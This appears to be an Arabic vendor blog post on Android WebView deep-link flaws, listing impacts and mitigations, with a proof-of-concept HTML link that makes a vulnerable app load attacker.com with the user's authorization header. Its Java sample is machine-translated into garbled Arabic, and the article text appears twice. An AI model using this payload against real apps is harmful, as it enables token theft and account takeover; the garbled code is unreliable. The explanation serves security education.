🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي

كيف تستغل الجهات الفاعلة في مجال التهديد Android Webview

كيف تستغل الجهات الفاعلة في مجال التهديد Android Webview

September 5, 2022
Green Alert
Last Update posted on
August 21, 2025
تأكد من أن تطبيقات الهاتف المحمول الخاصة بك آمنة وسليمة.

تأكد من سلامة وسلامة تطبيقات الهاتف المحمول الخاصة بك باستخدام وحدة CloudSek BeVigil Enterprise Mobile App Scanner.

Schedule a Demo
Table of Contents
Author(s)
No items found.

ما هو عرض الويب

WebView هي طريقة بسيطة ولكنها قوية لتقديم محتوى قائم على الويب في Android. يتم استخدامه كمثيل متصفح ويب مخصص لتطبيق يمكنه تسليم صفحات الويب للمستخدمين. تم إصدار WebView لأول مرة كجزء من أندرويد 4.4. منذ Android 5.0، تم تضمينه كتطبيق للنظام.

تطبيقات ويب فيو:

  • تعمل الأطر الهجينة مثل Cordova أو PhoneGap (باستثناء Flutter) على لف تطبيقات HTML/JavaScript في حاوية Android الأصلية واستخدام WebView لجعلها تعمل.
  • تستخدم التطبيقات، مثل التطبيقات المصرفية، WebView لتقديم محتوى مثل «الشروط والأحكام»، والتي تتغير باستمرار.
  • يمكن للشركات ذات الميزانيات الصغيرة إنشاء تطبيقات محمولة تعرض محتوى الويب باستخدام WebView.

ما هي المشكلة؟

التهديد

ثغرات WebView التي تسمح للجهات الفاعلة في مجال التهديد بما يلي:

    • تحميل عناوين URL عشوائية
    • تنفيذ كود جافا سكريبت
    • تنفيذ التعليمات البرمجية عن بُعد

التأثير

  • تسرب رموز المصادقة
  • الوصول إلى واجهات جافا سكريبت
  • الهجمات على المعالجات الداخلية
  • سرقة الملفات التعسفية عبر استعلامات XHR
  • الوصول إلى ملفات تعريف الارتباط
  • استغلال موفري المحتوى

التخفيف

  • تحقق من صحة أصل (المضيف والمخطط) للروابط الخارجية التي تم تحميلها في WebView.
  • تأكد من تطهير JavaScript التي يتم استدعاؤها باستخدام البيانات التي تم الحصول عليها خارجيًا.

كيفية الاستغلال

سنستخدم ملف AndroidManifest.xml التالي لفهم كيف يمكن للجهات الفاعلة في مجال التهديد استغلال WebView

<activity android:name=» .DeeplinkActivity» >

<intent-filter>

<action android:name=» android.intent.action.VIEW» />

<category android:name=» android.intent.category.DEFAULT» />

<data android:scheme=» myapp» android:host=» deeplink» />

</intent-filter>

</activity>

لنفترض أن هذا الملف يمكنه معالجة روابط WebView العميقة:

يقوم نشاط DeepLinkActivity للطبقة العامة بتوسيع النشاط {

فراغ محمي عند الإنشاء (حالة الحالة المحفوظة في الحزمة) {

Super.on Create (حالة الحالة المحفوظة)؛

التعامل مع الرابط العميق (getintent ())؛

}

مقبض الفراغ الخاص DeepLink (نية النية) {

رابط أوري العميق = Intent.getData ()؛

إذا كان («/webview» .يساوي (ديبلنك.getPath ())) {

رابط السلسلة = ديبلينك.getQuery المعلمة («عنوان url»)؛

التعامل مع رابط ويب فيو العميق (عنوان url)؛

}

}

مقبض باطل خاص WebViewDeepLink (رابط السلسلة) {

عرض ويب فيو =...؛

إعداد عرض الويب (عرض الويب)؛

عنوان URL الخاص بـ WebView.load (عنوان URL، GetAuthheaders ())؛

}

خريطة خاصة<String, String> GetAuthheaders () {

<String, String>رؤوس الخرائط = HashMap الجديدة<> ()؛

headers.put («التفويض»، احصل على رمز المستخدم ())؛

رؤوس الإرجاع؛

}

}

في هذه الحالة، يمكن للمهاجم تنفيذ هجوم عن بُعد للحصول على رمز المصادقة الخاص بالمستخدم عن طريق إنشاء صفحة تحتوي على الكود التالي:

<html>

<body style=» text-align: center;» >

<h1><a href=» myapp: //ديبلنك/ويبفيو؟ عنوان url =https://attacker.com/«>انقر فوقي!</a></h1>

</body></html>

عندما تنقر الضحية على زر «انقر فوقي»، سيفتح التطبيق الضعيف https://attacker[.]com، في WebView، جنبًا إلى جنب مع عنوان التفويض. يمكن للمهاجم استخدام رموز المصادقة المسروقة للوصول الكامل إلى حساب الضحية.

المراجع

Author

Predict Cyber threats against your organization

Related Posts

حراس العلامة التجارية الخاصة بك: الغوص العميق في خدمات الإزالة في CloudSek

اكتشف كيف تحمي خدمات الإزالة الشاملة من CloudSek علامتك التجارية من التهديدات عبر الإنترنت.

Blog Image
November 28, 2020

الاستفادة من STIX و TAXII لتحسين استخبارات التهديدات السيبرانية (الجزء 1)

الاستفادة من STIX و TAXII لتحسين استخبارات التهديدات السيبرانية (الجزء 1)

كيف يكتشف xvGIL من CloudSek التطبيقات المخادعة والمزيفة

كيف يكتشف xvGIL من CloudSek التطبيقات المخادعة والمزيفة

انضم إلى أكثر من 10,000 مشترك

تابع آخر الأخبار حول سلالات البرامج الضارة، وأساليب التصيد الاحتيالي،
مؤشرات التسوية وتسريب البيانات.

Take action now

Secure your organisation with our Award winning Products

CloudSEK Platform is a no-code platform that powers our products with predictive threat analytic capabilities.

استخبارات الخصم
Table of Content

ما هو عرض الويب

WebView هي طريقة بسيطة ولكنها قوية لتقديم محتوى قائم على الويب في Android. يتم استخدامه كمثيل متصفح ويب مخصص لتطبيق يمكنه تسليم صفحات الويب للمستخدمين. تم إصدار WebView لأول مرة كجزء من أندرويد 4.4. منذ Android 5.0، تم تضمينه كتطبيق للنظام.

تطبيقات ويب فيو:

  • تعمل الأطر الهجينة مثل Cordova أو PhoneGap (باستثناء Flutter) على لف تطبيقات HTML/JavaScript في حاوية Android الأصلية واستخدام WebView لجعلها تعمل.
  • تستخدم التطبيقات، مثل التطبيقات المصرفية، WebView لتقديم محتوى مثل «الشروط والأحكام»، والتي تتغير باستمرار.
  • يمكن للشركات ذات الميزانيات الصغيرة إنشاء تطبيقات محمولة تعرض محتوى الويب باستخدام WebView.

ما هي المشكلة؟

التهديد

ثغرات WebView التي تسمح للجهات الفاعلة في مجال التهديد بما يلي:

    • تحميل عناوين URL عشوائية
    • تنفيذ كود جافا سكريبت
    • تنفيذ التعليمات البرمجية عن بُعد

التأثير

  • تسرب رموز المصادقة
  • الوصول إلى واجهات جافا سكريبت
  • الهجمات على المعالجات الداخلية
  • سرقة الملفات التعسفية عبر استعلامات XHR
  • الوصول إلى ملفات تعريف الارتباط
  • استغلال موفري المحتوى

التخفيف

  • تحقق من صحة أصل (المضيف والمخطط) للروابط الخارجية التي تم تحميلها في WebView.
  • تأكد من تطهير JavaScript التي يتم استدعاؤها باستخدام البيانات التي تم الحصول عليها خارجيًا.

كيفية الاستغلال

سنستخدم ملف AndroidManifest.xml التالي لفهم كيف يمكن للجهات الفاعلة في مجال التهديد استغلال WebView

<activity android:name=» .DeeplinkActivity» >

<intent-filter>

<action android:name=» android.intent.action.VIEW» />

<category android:name=» android.intent.category.DEFAULT» />

<data android:scheme=» myapp» android:host=» deeplink» />

</intent-filter>

</activity>

لنفترض أن هذا الملف يمكنه معالجة روابط WebView العميقة:

يقوم نشاط DeepLinkActivity للطبقة العامة بتوسيع النشاط {

فراغ محمي عند الإنشاء (حالة الحالة المحفوظة في الحزمة) {

Super.on Create (حالة الحالة المحفوظة)؛

التعامل مع الرابط العميق (getintent ())؛

}

مقبض الفراغ الخاص DeepLink (نية النية) {

رابط أوري العميق = Intent.getData ()؛

إذا كان («/webview» .يساوي (ديبلنك.getPath ())) {

رابط السلسلة = ديبلينك.getQuery المعلمة («عنوان url»)؛

التعامل مع رابط ويب فيو العميق (عنوان url)؛

}

}

مقبض باطل خاص WebViewDeepLink (رابط السلسلة) {

عرض ويب فيو =...؛

إعداد عرض الويب (عرض الويب)؛

عنوان URL الخاص بـ WebView.load (عنوان URL، GetAuthheaders ())؛

}

خريطة خاصة<String, String> GetAuthheaders () {

<String, String>رؤوس الخرائط = HashMap الجديدة<> ()؛

headers.put («التفويض»، احصل على رمز المستخدم ())؛

رؤوس الإرجاع؛

}

}

في هذه الحالة، يمكن للمهاجم تنفيذ هجوم عن بُعد للحصول على رمز المصادقة الخاص بالمستخدم عن طريق إنشاء صفحة تحتوي على الكود التالي:

<html>

<body style=» text-align: center;» >

<h1><a href=» myapp: //ديبلنك/ويبفيو؟ عنوان url =https://attacker.com/«>انقر فوقي!</a></h1>

</body></html>

عندما تنقر الضحية على زر «انقر فوقي»، سيفتح التطبيق الضعيف https://attacker[.]com، في WebView، جنبًا إلى جنب مع عنوان التفويض. يمكن للمهاجم استخدام رموز المصادقة المسروقة للوصول الكامل إلى حساب الضحية.

المراجع

Related Blogs